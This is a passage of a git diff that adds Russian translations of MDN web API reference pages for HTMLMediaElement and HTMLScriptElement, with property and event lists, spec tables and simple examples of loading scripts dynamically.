+ <dd>Возвращает {{domxref ("DOMTokenList")}}, который помогает агенту пользователя выбирать элементы управления для отображения на элементе мультимедиа всякий раз, когда агент пользователя показывает свой собственный набор элементов управления. DOMTokenList принимает одно или несколько из трех возможных значений: nodownload, nofullscreen и noremoteplayback.</dd>
+ <dt>{{domxref("HTMLMediaElement.crossOrigin")}}</dt>
+ <dd>{{Domxref ("DOMString")}}, указывающий настройку CORS для этого медиаэлемента.</dd>
+ <dt>{{domxref("HTMLMediaElement.currentSrc")}} {{readonlyinline}}</dt>
+ <dd>Возвращает {{domxref ("DOMString")}} с абсолютным URL-адресом выбранного медиа-ресурса.</dd>
+ <dt>{{domxref("HTMLMediaElement.currentTime")}}</dt>
+ <dd>Двойное значение, обозначающее текущее время воспроизведения в секундах. Установка этого значения ищет носитель в новое время.</dd>
+ <dt>{{domxref("HTMLMediaElement.defaultMuted")}}</dt>
+ <dd>Является {{jsxref ('Boolean')}}, который отражает атрибут HTML {{htmlattrxref ("muted", "video")}}, который указывает, должен ли звук вывода медиа-элемента по умолчанию отключаться.</dd>
+ <dt>{{domxref("HTMLMediaElement.defaultPlaybackRate")}}</dt>
+ <dd>Двойное значение, обозначающее скорость воспроизведения по умолчанию для мультимедиа.</dd>
+ <dt>{{domxref("HTMLMediaElement.disableRemotePlayback")}}</dt>
+ <dd>{{Jsxref ('Boolean')}}, который устанавливает или возвращает состояние удаленного воспроизведения, указывая, разрешено ли медиаэлементу иметь удаленный пользовательский интерфейс воспроизведения.</dd>
+ <dt>{{domxref("HTMLMediaElement.duration")}} {{readonlyinline}}</dt>
+ <dd>Возвращает значение типа double, указывающее длину носителя в секундах, или 0, если данные носителя отсутствуют.</dd>
+ <dt>{{domxref("HTMLMediaElement.ended")}} {{readonlyinline}}</dt>
+ <dd>Возвращает {{jsxref ('Boolean')}}, который указывает, закончил ли воспроизведение медиа-элемент.</dd>
+ <dt>{{domxref("HTMLMediaElement.error")}} {{readonlyinline}}</dt>
+ <dd>Возвращает объект {{domxref ("MediaError")}} для самой последней ошибки или <code>null</code>, если ошибки не было.</dd>
+ <dt>{{domxref("HTMLMediaElement.loop")}}</dt>
+ <dd>Является {{jsxref ('Boolean')}}, который отражает атрибут HTML {{htmlattrxref ("loop", "video")}}, который указывает, должен ли медиа-элемент начинаться сначала, когда он достигает конца.</dd>
+ <dt>{{domxref("HTMLMediaElement.mediaGroup")}}</dt>
+ <dd>Это {{domxref ("DOMString")}}, который отражает атрибут HTML {{htmlattrxref ("mediagroup", "video")}}, который указывает имя группы элементов, к которой он принадлежит. Группа медиа-элементов имеет общий {{domxref ('MediaController')}}.</dd>
+ <dt>{{domxref("HTMLMediaElement.mediaKeys")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>Возвращает объект {{domxref ("MediaKeys")}} или ноль. MediaKeys - это набор ключей, которые связанный HTMLMediaElement может использовать для дешифрования мультимедийных данных во время воспроизведения.</dd>
+ <dt>{{domxref("HTMLMediaElement.mozAudioCaptured")}} {{readonlyinline}} {{non-standard_inline}}</dt>
+ <dd>Возвращает {{jsxref ('Boolean')}}. Связанный с захватом аудиопотока.</dd>
+ <dt>{{domxref("HTMLMediaElement.mozFragmentEnd")}} {{non-standard_inline}}</dt>
+ <dd>Двойник, обеспечивающий доступ к времени окончания фрагмента, если медиа-элемент имеет URI-фрагмент для currentSrc, в противном случае он равен продолжительности медиа.</dd>
+ <dt>{{domxref("HTMLMediaElement.mozFrameBufferLength")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>
+ <p>Это unsigned long, который указывает число выборок, которые будут возвращены в кадровом буфере каждого события MozAudioAvailable. Это число является общим для всех каналов, и по умолчанию установлено количество каналов * 1024 (например, 2 канала * 1024 выборок = всего 2048).</p>
+
+ <p>Для свойства mozFrameBufferLength может быть установлено новое значение для более низкой задержки, больших объемов данных и т. Д. Указанный размер должен быть числом от 512 до 16384. Использование любого другого размера приводит к возникновению исключения. Лучшее время для установки новой длины - после того, как сработало событие загруженных метаданных, когда известна аудиоинформация, но до того, как аудио началось, или события MozAudioAvailable начали срабатывать.</p>
+ </dd>
+ <dt>{{domxref("HTMLMediaElement.mozSampleRate")}} {{readonlyinline}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Возвращает двойное число, представляющее количество семплов в секунду, которые будут воспроизведены. Например, 44100 выборок в секунду - это частота дискретизации, используемая аудио CD.</dd>
+ <dt>{{domxref("HTMLMediaElement.muted")}}</dt>
+ <dd>{{Jsxref ('Boolean')}}, определяющий, отключен ли звук. true, если звук отключен, и false в противном случае.</dd>
+ <dt>{{domxref("HTMLMediaElement.networkState")}} {{readonlyinline}}</dt>
+ <dd>Возвращает unsigned short (перечисление), указывающее текущее состояние выборки мультимедиа по сети.</dd>
+ <dt>{{domxref("HTMLMediaElement.paused")}} {{readonlyinline}}</dt>
+ <dd>Возвращает {{jsxref ('Boolean')}}, который указывает, приостановлен ли медиа-элемент.</dd>
+ <dt>{{domxref("HTMLMediaElement.playbackRate")}}</dt>
+ <dd>Двойное число, указывающее скорость воспроизведения мультимедиа.</dd>
+ <dt>{{domxref("HTMLMediaElement.played")}} {{readonlyinline}}</dt>
+ <dd>Возвращает объект {{domxref ('TimeRanges')}}, который содержит диапазоны медиаисточников, которые воспроизводил браузер, если таковые имеются.</dd>
+ <dt>{{domxref("HTMLMediaElement.preload")}}</dt>
+ <dd>Это {{domxref ("DOMString")}}, который отражает атрибут HTML {{htmlattrxref ("preload", "video")}}, указывающий, какие данные должны быть предварительно загружены, если таковые имеются. Возможные значения: <code>none</code>, <code>metadata</code>, <code>auto</code>.</dd>
+ <dt>{{domxref("HTMLMediaElement.preservesPitch")}} {{non-standard_inline}}</dt>
+ <dd>Является {{jsxref ('Boolean')}}, который определяет, будет ли сохранена высота звука. Если установлено значение false, высота звука будет регулироваться в зависимости от скорости звука. Это реализовано с помощью префиксов в Firefox (mozPreservedPitch) и WebKit (webkitPreservedPitch).</dd>
+ <dt>{{domxref("HTMLMediaElement.readyState")}} {{readonlyinline}}</dt>
+ <dd>Возвращает <code>unsigned short</code> (перечисление), указывающее состояние готовности носителя.</dd>
+ <dt>{{domxref("HTMLMediaElement.seekable")}} {{readonlyinline}}</dt>
+ <dd>Возвращает объект {{domxref ('TimeRanges')}}, который содержит временные диапазоны, к которым пользователь может обращаться, если таковые имеются.</dd>
+ <dt>{{domxref("HTMLMediaElement.seeking")}} {{readonlyinline}}</dt>
+ <dd>Возвращает {{jsxref ('Boolean')}}, который указывает, находится ли медиа в процессе поиска новой позиции.</dd>
+ <dt>{{domxref("HTMLMediaElement.sinkId")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>Возвращает {{domxref ("DOMString")}}, который является уникальным идентификатором аудиоустройства, предоставляющего выходные данные, или пустую строку, если используется пользовательский агент по умолчанию. Этот идентификатор должен быть одним из значений MediaDeviceInfo.deviceid, возвращаемых из {{domxref ("MediaDevices.enumerateDevices ()")}}, id-multimedia или id-communications.</dd>
+ <dt>{{domxref("HTMLMediaElement.src")}}</dt>
+ <dd>Это {{domxref ("DOMString")}}, который отражает атрибут HTML {{htmlattrxref ("src", "video")}}, который содержит URL-адрес используемого медиа-ресурса.</dd>
+ <dt>{{domxref("HTMLMediaElement.srcObject")}}</dt>
+ <dd>{{Domxref ('MediaStream')}}, представляющий медиафайл для воспроизведения или воспроизведенный в текущем HTMLMediaElement, или null, если не назначен.</dd>
+ <dt>{{domxref("HTMLMediaElement.textTracks")}} {{readonlyinline}}</dt>
+ <dd>Возвращает список объектов {{domxref ("TextTrack")}}, содержащихся в элементе.</dd>
+ <dt>{{domxref("HTMLMediaElement.videoTracks")}} {{readonlyinline}}</dt>
+ <dd>Возвращает список объектов {{domxref ("VideoTrack")}}, содержащихся в элементе.
+ <div class="note">
+ <p>Gecko поддерживает воспроизведение только одной дорожки, а разбор метаданных дорожек доступен только для носителей с форматом контейнера Ogg.</p>
+ </div>
+ </dd>
+ <dt>{{domxref("HTMLMediaElement.volume")}}</dt>
+ <dd>Двойной показатель громкости звука, от 0,0 (тихий) до 1,0 (самый громкий).</dd>
+</dl>
+
+<h3 id="Обработчики_событий">Обработчики событий</h3>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.onencrypted")}}</dt>
+ <dd>Устанавливает {{domxref ('Event Handler')}}, вызываемый, когда носитель зашифрован.</dd>
+ <dt>{{domxref("HTMLMediaElement.onwaitingforkey")}}</dt>
+ <dd>Устанавливает {{domxref ('EventHandler')}}, вызываемый, когда воспроизведение заблокировано во время ожидания ключа шифрования.</dd>
+</dl>
+
+<h2 id="Устаревшие_атрибуты">Устаревшие атрибуты</h2>
+
+<p>Эти атрибуты устарели и не должны использоваться, даже если браузер все еще поддерживает их.</p>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.initialTime")}} {{readonlyinline}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Возвращает значение типа double, указывающее начальную позицию воспроизведения в секундах.</dd>
+ <dt>{{domxref("HTMLMediaElement.mozChannels")}} {{readonlyinline}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Возвращает значение типа double, представляющее количество каналов в аудиоресурсе (например, 2 для стерео).</dd>
+</dl>
+
+<h3 id="Устаревшие_обработчики_событий">Устаревшие обработчики событий</h3>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.onmozinterruptbegin")}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Устанавливает {{domxref ("EventHandler")}}, вызываемый, когда медиа-элемент прерывается из-за менеджера аудио-каналов. Это было специфично для Firefox, оно было реализовано для Firefox OS и было удалено в Firefox 55.</dd>
+ <dt>{{domxref("HTMLMediaElement.onmozinterruptend")}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Устанавливает {{domxref ('Event Handler')}}, вызываемый при завершении прерывания. Это было специфично для Firefox, оно было реализовано для Firefox OS и было удалено в Firefox 55.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Этот интерфейс также наследует методы от своих предков {{domxref ("HTMLElement")}}, {{domxref ("Element")}}, {{domxref ("Node")}} и {{domxref ("EventTarget") }}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.addTextTrack()")}}</dt>
+ <dd>Добавляет текстовую дорожку (например, дорожку для субтитров) к элементу мультимедиа.</dd>
+ <dt>{{domxref("HTMLMediaElement.captureStream()")}} {{experimental_inline}}</dt>
+ <dd>Возвращает {{domxref ("MediaStream")}}, захватывает поток медиа-контента.</dd>
+ <dt>{{domxref("HTMLMediaElement.canPlayType()")}}</dt>
+ <dd>Определяет, может ли указанный тип носителя воспроизводиться.</dd>
+ <dt>{{domxref("HTMLMediaElement.fastSeek()")}}</dt>
+ <dd>Прямо стремится к данному времени.</dd>
+ <dt>{{domxref("HTMLMediaElement.load()")}}</dt>
+ <dd>Сбрасывает носитель в начало и выбирает наилучший из доступных источников из источников, предоставленных с использованием атрибута {{htmlattrxref ("src", "video")}} или элемента {{HTMLElement ("source")}}.</dd>
+ <dt>{{domxref("HTMLMediaElement.mozCaptureStream()")}} {{non-standard_inline}}</dt>
+ <dd>[введите описание]</dd>
+ <dt>{{domxref("HTMLMediaElement.mozCaptureStreamUntilEnded()")}} {{non-standard_inline}}</dt>
+ <dd>[введите описание]</dd>
+ <dt>{{domxref("HTMLMediaElement.mozGetMetadata()")}} {{non-standard_inline}}</dt>
+ <dd>Возвращает {{jsxref ('Object')}}, который содержит свойства, которые представляют метаданные из воспроизводимого медиаресурса в виде пар {key: value}. Отдельная копия данных возвращается каждый раз, когда вызывается метод. Этот метод должен вызываться после возникновения события загруженных метаданных.</dd>
+ <dt>{{domxref("HTMLMediaElement.pause()")}}</dt>
+ <dd>Пауза воспроизведения мультимедиа.</dd>
+ <dt>{{domxref("HTMLMediaElement.play()")}}</dt>
+ <dd>Начинается воспроизведение мультимедиа.</dd>
+ <dt>{{domxref("HTMLMediaElement.seekToNextFrame()")}} {{non-standard_inline}} {{experimental_inline}}</dt>
+ <dd>Стремится к следующему кадру в медиа. Этот нестандартный экспериментальный метод позволяет вручную управлять считыванием и воспроизведением мультимедиа с настраиваемой скоростью или перемещаться по мультимедиа покадрово для выполнения фильтрации или других операций.</dd>
+ <dt>{{domxref("HTMLMediaElement.setMediaKeys()")}} {{experimental_inline}}</dt>
+ <dd>Возвращает {{jsxref ("Обещание")}}. Устанавливает клавиши {{domxref ("MediaKeys")}}, используемые при дешифровании медиафайлов во время воспроизведения.</dd>
+ <dt>{{domxref("HTMLMediaElement.setSinkId()")}} {{experimental_inline}}</dt>
+ <dd>Устанавливает идентификатор аудиоустройства, которое будет использоваться для вывода, и возвращает {{jsxref ("Promise")}}. Это работает только тогда, когда приложение имеет право использовать указанное устройство.</dd>
+</dl>
+
+<h2 id="Устаревшие_методы">Устаревшие методы</h2>
+
+<p>Эти методы устарели и не должны использоваться, даже если браузер все еще поддерживает их.</p>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.mozLoadFrom()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Этот метод, доступный только в реализации Mozilla, загружает данные из другого медиа-элемента. Это работает аналогично load () за исключением того, что вместо обычного алгоритма выбора ресурса для источника просто устанавливается значение currentSrc другого элемента. Это оптимизировано, так что этот элемент получает доступ ко всем кэшированным и буферизованным данным другого элемента; фактически эти два элемента совместно используют загруженные данные, поэтому данные, загруженные любым из этих элементов, доступны обоим.</dd>
+</dl>
+
+<h2 id="События">События </h2>
+
+<p><em>Наследует методы от своего родителя {{domxref ("HTMLElement")}}, определенного в миксине {{domxref ('GlobalEventHandlers')}}. Прослушайте эти события, используя addEventListener () или назначив прослушиватель событий свойству oneventname этого интерфейса.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.abort_event", 'abort')}}</dt>
+ <dd>Срабатывает, когда ресурс загружен не полностью, но не в результате ошибки.</dd>
+ <dt>{{domxref("HTMLMediaElement.canplay_event", 'canplay')}}</dt>
+ <dd>Запускается, когда пользовательский агент может воспроизводить мультимедиа, но оценивает, что загружено недостаточно данных для воспроизведения мультимедиа до его конца без необходимости остановки для дальнейшей буферизации контента.</dd>
+ <dt>{{domxref("HTMLMediaElement.canplaythrough_event", 'canplaythrough')}}</dt>
+ <dd>Запускается, когда пользовательский агент может воспроизводить мультимедиа, и оценивает, что было загружено достаточно данных для воспроизведения мультимедиа до его конца, без необходимости остановки для дальнейшей буферизации контента.</dd>
+ <dt>{{domxref("HTMLMediaElement.durationchange_event", 'durationchange')}}</dt>
+ <dd>Запускается, когда атрибут продолжительности был обновлен.</dd>
+ <dt>{{domxref("HTMLMediaElement.emptied_event", 'emptied')}}</dt>
+ <dd>Запускается, когда носитель становится пустым; например, когда носитель уже загружен (или частично загружен), и для его перезагрузки вызывается метод {{domxref ("HTMLMediaElement.load ()")}}.</dd>
+ <dt>{{domxref("HTMLMediaElement.ended_event", 'ended')}}</dt>
+ <dd>Срабатывает, когда воспроизведение останавливается, когда достигнут конец носителя (&lt;audio&gt; или &lt;video&gt;) или если дальнейшие данные недоступны.</dd>
+ <dt>{{domxref("HTMLMediaElement.error_event", 'error')}}</dt>
+ <dd>Срабатывает, когда ресурс не может быть загружен из-за ошибки.</dd>
+ <dt>{{domxref("HTMLMediaElement.loadeddata_event", 'loadeddata')}}</dt>
+ <dd>Запускается, когда первый кадр носителя завершил загрузку.</dd>
+ <dt>{{domxref("HTMLMediaElement.loadedmetadata_event", 'loadedmetadata')}}</dt>
+ <dd>Запускается, когда метаданные были загружены</dd>
+ <dt>{{domxref("HTMLMediaElement.loadstart_event", 'loadstart')}}</dt>
+ <dd>Запускается, когда браузер начал загружать ресурс.</dd>
+ <dt>{{domxref("HTMLMediaElement.pause_event", 'pause')}}</dt>
+ <dd>Вызывается, когда обрабатывается запрос на приостановку воспроизведения, и действие переходит в состояние паузы, чаще всего это происходит, когда вызывается медиа {{domxref ("HTMLMediaElement.pause ()")}}.</dd>
+ <dt>{{domxref("HTMLMediaElement.play_event", 'play')}}</dt>
+ <dd>Срабатывает, когда свойство paused изменяется с true на false, в результате использования метода {{domxref ("HTMLMediaElement.play ()")}} или атрибута autoplay</dd>
+ <dt>{{domxref("HTMLMediaElement.playing_event", "playing")}}</dt>
+ <dd>Запускается, когда воспроизведение готово начать после приостановки или задержки из-за отсутствия данных.</dd>
+ <dt>{{domxref("HTMLMediaElement.progress_event", "progress")}}</dt>
+ <dd>Периодически запускается, когда браузер загружает ресурс.</dd>
+ <dt>{{domxref("HTMLMediaElement.ratechange_event", 'ratechange')}}</dt>
+ <dd>Запускается, когда скорость воспроизведения изменилась.</dd>
+ <dt>{{domxref("HTMLMediaElement.seeked_event", 'seeked ')}}</dt>
+ <dd>Запускается, когда скорость воспроизведения изменилась.</dd>
+ <dt>{{domxref("HTMLMediaElement.seeking_event", 'seeking')}}</dt>
+ <dd>Запускается, когда начинается операция поиска</dd>
+ <dt>{{domxref("HTMLMediaElement.stalled_event", 'stalled')}}</dt>
+ <dd>Запускается, когда пользовательский агент пытается извлечь данные мультимедиа, но данные неожиданно не поступают.</dd>
+ <dt>{{domxref("HTMLMediaElement.suspend_event", 'suspend')}}</dt>
+ <dd>Запускается, когда загрузка медиа-данных была приостановлена.</dd>
+ <dt>{{domxref("HTMLMediaElement.timeupdate_event", 'timeupdate')}}</dt>
+ <dd>Запускается, когда время, указанное атрибутом currentTime, было обновлено.</dd>
+ <dt>{{domxref("HTMLMediaElement.volumechange_event", 'volumechange')}}</dt>
+ <dd>Запускается при изменении громкости.</dd>
+ <dt>{{domxref("HTMLMediaElement.waiting_event", 'waiting')}}</dt>
+ <dd>Срабатывает, когда воспроизведение остановлено из-за временной нехватки данных</dd>
+</dl>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Характеристики</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Media Capture','#htmlmediaelement-extensions','HTMLMediaElement')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Добавляет <code>sinkId</code> и <code>setSinkId()</code>, и <code>captureStream()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('EME', '#introduction', 'Encrypted Media Extensions')}}</td>
+   <td>{{Spec2('EME')}}</td>
+   <td>Добавляет {{domxref("MediaKeys")}}, {{domxref("MediaEncryptedEvent")}}, {{domxref("setMediaKeys")}}, {{domxref("onencrypted")}}, и {{domxref("onwaitingforkey")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "the-video-element.html#htmlmediaelement", "HTMLMediaElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Без изменений {{SpecName ('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, просмотрите https://github.com/mdn/browser-compat-data и отправьте нам запрос на извлечение.</div>
+
+<p>{{Compat("api.HTMLMediaElement")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>Рекомендации
+  <ul>
+   <li>{{HTMLElement("video")}} и {{HTMLElement("audio")}} HTML элементы.</li>
+   <li>{{domxref("HTMLVideoElement")}} и {{domxref("HTMLAudioElement")}} интерфейсы, полученные из HTMLMediaElement.</li>
+  </ul>
+ </li>
+ <li>Статьи
+  <ul>
+   <li><a class="internal" href="/en-US/docs/Using_HTML5_audio_and_video">Использование HTML5 аудио и видео</a></li>
+   <li><a class="internal" href="/en-US/docs/Media_formats_supported_by_the_audio_and_video_elements">Медиа форматы, поддерживаемые аудио и видео элементами</a></li>
+   <li><a href="/en-US/docs/Web_Audio_API">API веб-аудио</a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ru/web/api/htmlscriptelement/index.html b/files/ru/web/api/htmlscriptelement/index.html
new file mode 100644
index 0000000000..064a078e7f
--- /dev/null
+++ b/files/ru/web/api/htmlscriptelement/index.html
@@ -0,0 +1,190 @@
+---
+title: HTMLScriptElement
+slug: Web/API/HTMLScriptElement
+translation_of: Web/API/HTMLScriptElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><span class="seoSummary">HTML-элементы {{HTMLElement("script")}} предоставляют <strong><code>HTMLScriptElement</code></strong> интерфейс, который предоставляет специальные свойства и методы для манипулирования поведением и выполнением <code>&lt;script&gt;</code> элементов (за пределами унаследованного {{domxref("HTMLElement")}} интерфейса).</span></p>
+
+<p>JavaScript файлы должны обслуживаться с  <code>application/javascript</code> <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME type</a>, но браузеры снисходительны и блокируют их только, если скрипты обслуживаются с типом изображение (<code>image/*</code>), типом видео (<code>video/*</code>), типом аудио (<code>audio/*</code>), или <code>text/csv</code>. Если скрипт заблокирован, его элемент получает событие {{event("error")}}; в противном случае, он получает событие {{event("success")}}.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства от своего родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Имя</th>
+   <th>Тип</th>
+   <th>Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code id="type_property">type</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Представляет тип MIME сценария. Он отражает атрибут {{htmlattrxref("type","script")}}.</td>
+  </tr>
+  <tr>
+   <td><code id="src_property">src</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Получает и отдает URL внешнего скрипта. Он отражает атрибут {{htmlattrxref("src","script")}}.</td>
+  </tr>
+  <tr>
+   <td><code id="event_property">event</code>{{obsolete_inline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Старый, способ регистрации обработчиков событий на элементы в HTML-документе.</td>
+  </tr>
+  <tr>
+   <td><code id="charset_property">charset</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Представляет кодировку символов внешнего скрипта. Он отражает атрибут {{htmlattrxref("charset","script")}}.</td>
+  </tr>
+  <tr>
+   <td><code id="async_property">async</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td rowspan="2">
+    <p>Атрибуты <code>async</code> и <code>defer</code> <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Boolean">булевы</a> атрибуты, которые контролируют как скрипт должен выполняться. <strong>Атрибуты <code>defer</code> и <code>async</code> не должны быть указаны, если атрибут <code>src</code> отсутствует.</strong></p>
+
+    <p>Существует три возможных режима выполнения:</p>
+
+    <ol>
+     <li>Если атрибут <code>async</code> представлен, то скрипт будет выполняться асинхронно по мере загрузки.</li>
+     <li>Если атрибут <code>async</code> отсутствует, но представлен атрибут <code>defer</code>, то скрипт будет выполняться когда <a href="/en-US/docs/Web/Events/DOMContentLoaded">страница полностью загружена</a>.</li>
+     <li>Если ни один атрибут не представлен, то скрипт извлекается и выполняется незамедлительно, блокируя дальнейший парсинг страницы.</li>
+    </ol>
+
+    <p>Атрибут <code>defer</code> может быть указан с атрибутом <code>async</code>, тогда устаревшие браузеры, которые поддерживают только <code>defer</code> (но не <code>async</code>) откатятся к поведению <code>defer</code> взамен дефолтного поведения блокировки.</p>
+
+    <div class="note"><strong>Примечание:</strong> Точные детали обработки для этих атрибутов комплексны, включая множество различных аспектов HTML, и разбросаны по всей спецификации. <a href="http://www.w3.org/html/wg/drafts/html/master/scripting-1.html#prepare-a-script">Эти алгоритмы</a> описывают основную идею, но они основаны на правилах синтаксического анализа для {{HTMLElement("script")}} <a href="http://www.w3.org/html/wg/drafts/html/master/syntax.html#scriptTag">открывающих</a> и <a href="http://www.w3.org/html/wg/drafts/html/master/syntax.html#scriptEndTag">закрывающих</a> тэгах в HTML, <a href="http://www.w3.org/html/wg/drafts/html/master/syntax.html#scriptForeignEndTag">во внешнем контенте</a>, и в<a href="http://www.w3.org/html/wg/drafts/html/master/the-xhtml-syntax.html#scriptTagXML"> XML</a>; правиле для метода  <a href="/en-US/docs/DOM/document.write"><code>document.write()</code></a>; обработке <a href="http://www.w3.org/html/wg/drafts/html/master/webappapis.html#scripting">сценариев</a>; и так далее.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code id="defer_property">defer</code></td>
+   <td>{{domxref("Boolean")}}</td>
+  </tr>
+  <tr>
+   <td><code id="crossOrigin_property">crossOrigin </code>{{experimental_inline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>{{domxref("DOMString")}}, отражающий <a href="/en-US/docs/Web/HTML/CORS_settings_attributes">настройку CORS </a>для элементов скрипта. Для скриптов из других <a href="/en-US/docs/Glossary/Origin">источников</a>, он контролирует, будет ли раскрыта информация об ошибке.</td>
+  </tr>
+  <tr>
+   <td><code id="text_property">text</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>
+    <p>IDL атрибут <code>text</code> объединяет и возвращает содержимое всех <a href="/en-US/docs/DOM/Text"><code>Text</code> нод</a> внутри элемента {{HTMLElement("script")}} (игнорируя другие ноды, такие как комментарии) в древовидном порядке. При установке, он  действует также, как и IDL атрибут <a href="/en-US/docs/DOM/Node.textContent"><code>textContent</code></a>.</p>
+
+    <div class="note"><strong>Примечание:</strong> При вставке с использованием метода <a href="/en-US/docs/DOM/document.write"><code>document.write()</code></a>, элементы {{HTMLElement("script")}} выполняются (обычно синхронно), когда при вставке используются <a href="/en-US/docs/DOM/element.innerHTML"><code>innerHTML</code></a> или <a href="/en-US/docs/DOM/element.outerHTML"><code>outerHTML</code></a>, они вообще не выполняются.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>noModule</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>Это булево свойство выполняет остановку выполнения скрипта в браузере, поддерживающим <a href="https://hacks.mozilla.org/2015/08/es6-in-depth-modules/">ES2015 модули</a> — используется для запуска резервных скриптов, которые не поддерживают JavaScript модули.</td>
+  </tr>
+  <tr>
+   <td><code>referrerPolicy</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>{{domxref("DOMString")}}, который отражает HTML атрибут {{htmlattrxref("referrerPolicy", "script")}} указывающий, какой реферер использовать при извлечении скриптов и выборках, выполненных сценариев.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Нет специальных методов; наследует методы от родителей, {{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Динамическое_импортирование_скриптов">Динамическое импортирование скриптов</h3>
+
+<p>Давайте создадим функцию. которая импортирует новый скрипт в документ, создавая ноду {{HTMLElement("script")}} <em>непосредственно перед</em> {{HTMLElement("script")}}, в котором размещается следующий код (через {{domxref("document.currentScript")}}). Эти скрипты будут выполняться <strong>асинхронно</strong>. Для получения пдробной информации смотрите свойства <a href="#defer_property"><code>defer</code></a> и <a href="#async_property"><code>async</code></a>.</p>
+
+<pre class="brush: js">function loadError(oError) {
+  throw new URIError("The script " + oError.target.src + " didn't load correctly.");
+}
+
+function prefixScript(url, onloadFunction) {
+  var newScript = document.createElement("script");
+  newScript.onerror = loadError;
+  if (onloadFunction) { newScript.onload = onloadFunction; }
+  document.currentScript.parentNode.insertBefore(newScript, document.currentScript);
+  newScript.src = url;
+}</pre>
+
+<p>Следующая функция, вместо добавления новых скриптов непосредственно перед элементом {{domxref("document.currentScript")}}, добавляет их как потомков тега {{HTMLElement("head")}}.</p>
+
+<pre class="brush: js">function loadError(oError) {
+  throw new URIError("The script " + oError.target.src + " didn't load correctly.");
+}
+
+function affixScriptToHead(url, onloadFunction) {
+  var newScript = document.createElement("script");
+  newScript.onerror = loadError;
+  if (onloadFunction) { newScript.onload = onloadFunction; }
+  document.head.appendChild(newScript);
+  newScript.src = url;
+}
+</pre>
+
+<p>Простое использование:</p>
+
+<pre class="brush: js">affixScriptToHead("myScript1.js");
+affixScriptToHead("myScript2.js", function () { alert("The script \"myScript2.js\" has been correctly loaded."); });</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#htmlscriptelement", "HTMLScriptElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "scripting-1.html#the-script-element", "HTMLScriptElement")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "scripting-1.html#the-script-element", "HTMLScriptElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Следующие свойства устарели: <code>htmlFor,</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-81598695', 'HTMLScriptElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Нет изменений в сравнении с {{SpecName("DOM1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-81598695', 'HTMLScriptElement')}}</td>
